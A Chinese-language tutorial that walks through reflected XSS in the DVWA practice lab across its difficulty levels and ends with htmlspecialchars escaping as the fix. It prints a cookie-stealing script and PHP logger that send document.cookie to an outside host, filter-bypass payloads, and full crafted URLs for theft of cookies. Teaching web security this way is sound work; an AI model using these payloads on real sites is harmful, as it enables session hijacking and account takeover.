XSS (Cross-site scripting) 攻擊,爲和 CSS 有所區分,因此叫 XSS。又是一種防不勝防的攻擊,應該算是一種 「HTML注入攻擊」,本來開發者想的是顯示數據,然而攻擊者輸入倒是有破壞性的代碼,並且能被解析執行。Symantec在2007年報告更是指出跨站腳本漏洞大概佔全部網站漏洞的84%。javascript
XSS 大體分紅三種類型(白帽子講web安全):php
功能很簡單,顯示就是輸入框輸入的東西 好比:輸入 World 就能顯示 Hello World。 此時 Hacker 嘗試輸入 <script>alert(1)</script>
html
這是由於,php 輸出已經變成了,'<pre>Hello <script>alert(1)</script></pre>'
而後輸出到頁面時,直接運行 <script>alert(1)</script>
這就是 XSS,本來這個地方應該是輸入數據的,可是卻變成運行代碼了。 接下來 hacker 再做嘗試,它寫了這樣一個文件 a.com/test.js前端
var img = document.createElement("img") img.src = "http://www.a.com/?cookies="+escape(document.cookie); document.body.appendChild(img);
而對應www.a.com/index.php
的代碼是這樣,目的是記錄發送過來的 cookiesjava
<?php $c = $_GET["cookies"]; echo $c; error_log($c ."". "\n",3,"/var/log/a/cookies"); ?>
而後再在輸出框中輸入 <script src="//www.a.com/test.js"></script>
。。。
就會直接將你的 cookies 直接發送到 a.com
有了你的 cookies 就隨心所欲了,改密碼什麼的。 如今只需誘導用戶(發郵件之類的)點擊這樣的鏈接就Ok了 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22%2F%2Fwww.a.com%2Ftest.js%22%3E%3C%2Fscript%3E#web
好比:
正則表達式
中級代碼意識到會有人使用 script 的注入方式,因而就想將 script 標籤去掉c#
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
而 Hacker 輸入的是 <Script src="//www.a.com/test.js"></Script>
。。。仍是被注入了。
還能夠輸入 <scr<script>ipt src="//www.a.com/test.js"></script>
之類安全
高級代碼,使用 preg_replace
函數,不管 script 大小寫如何變化也會刪除前端框架
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
因此能夠採用不使用 script 的方式。
好比利用 img 的 onerror 函數 ,意思是說,若是圖片的地址是錯誤的,就執行
alert(1)
但若是直接在 onerror 函數中寫注入的代碼又頗有可能被那個正則表達式替換掉的。
因此要經過其餘方式繞過這個正則替換,好比利用 location.hash
。
這是什麼東西?
url 中 # 號後面的東西,好比 https://www.zhihu.com/topic#Linux 的 location.hash 就是 #Linux ,前端框架通常會用來作單頁面路由。這個東西沒有長度限制並且不會被傳到後臺的!
因此,能夠這樣,<img src=x onerror="eval(unescape(location.hash.substr(1)))">
而在構造 url 就能夠放心把代碼放在 #號後面了。
因此點擊下面鏈接就會偷掉你的cookies了(要複製黏貼)
http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1)))%22%3E#var%20img%20=%20document.createElement('img');img.src='http://www.a.com/?cookies='+escape(document.cookie);document.body.appendChild(img)
不可能級別添加了 anti-token 防護機制,和htmlseecialchars
函數來防護
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
htmlseecialchars
函數做用是什麼?來探討一下
輸入上一級的注入語句
看 dom 的元素,也看不出什麼
再看看請求返回的什麼
看到了嗎,那個函數將 < " 等符號轉義了